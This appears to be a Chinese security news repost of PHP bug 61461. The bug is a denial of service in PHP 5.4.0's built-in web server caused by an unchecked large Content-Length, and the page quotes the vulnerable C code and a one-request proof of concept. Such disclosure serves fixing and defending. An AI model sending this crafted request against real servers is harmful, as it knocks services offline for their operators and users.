当一个包含大数值 Content-Length 的 HTTP 请求被发送到内建的 PHP web 服务器后,可以触发拒绝服务问题(DoS)。Bug 61461
Content-Length 头的值被直接传入了 premalloc() 函数,在 sapi/cli/php_cli_server.c 第1538行。然后 Zend/zend_alloc.h 的内联函数 malloc() 将报错,终止进程,抛出“Out of memory”错误。
static int php_cli_server_client_read_request_on_body(php_http_parser *parser, const char *at, size_t length)
{
php_cli_server_client *client = parser->data;
if (!client->request.content) {
client->request.content = pemalloc(parser->content_length, 1);
client->request.content_len = 0;
}
memmove(client->request.content + client->request.content_len, at, length);
client->request.content_len += length;
return 0;
}
把 Content-Length 设置为 2^31 - 10,也就是接近32位系统的上限值,能够重现这个问题。
测试脚本:下面这个 HTTP 请求将触发这个bug。
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2147483648
A=B
正确结果:我们预期得到一个有意义的错误信息。
Invalid request (Requested Content-Length is larger the allowed limit of XYZ)
实际结果:PHP 5.4.0 Development Server started at Tue Mar 20 19:41:45 2012
Listening on 127.0.0.1:80
Document root is /tmp
Press Ctrl-C to quit.
Out of memorySiemens Scalance Firewall两个安全漏洞Apple Mac OS X PNG文件MediaVideo处理缓冲区溢出漏洞相关资讯 PHP漏洞
- PHP "ext/zip/php_zip.c"释放后重 (今 07:48)
- PHP "ext/standard/file.c" 远程拒 (09月12日)
- PHP "php_html_entities()" 函数整 (09月11日)
| - PHP ext/session/session.c对象注 (09月14日)
- PHP "libxml_disable_entity_ (09月11日)
- PHP "soap/php_http.c" 远程拒绝服 (09月11日)
|
本文评论 查看全部评论 (0)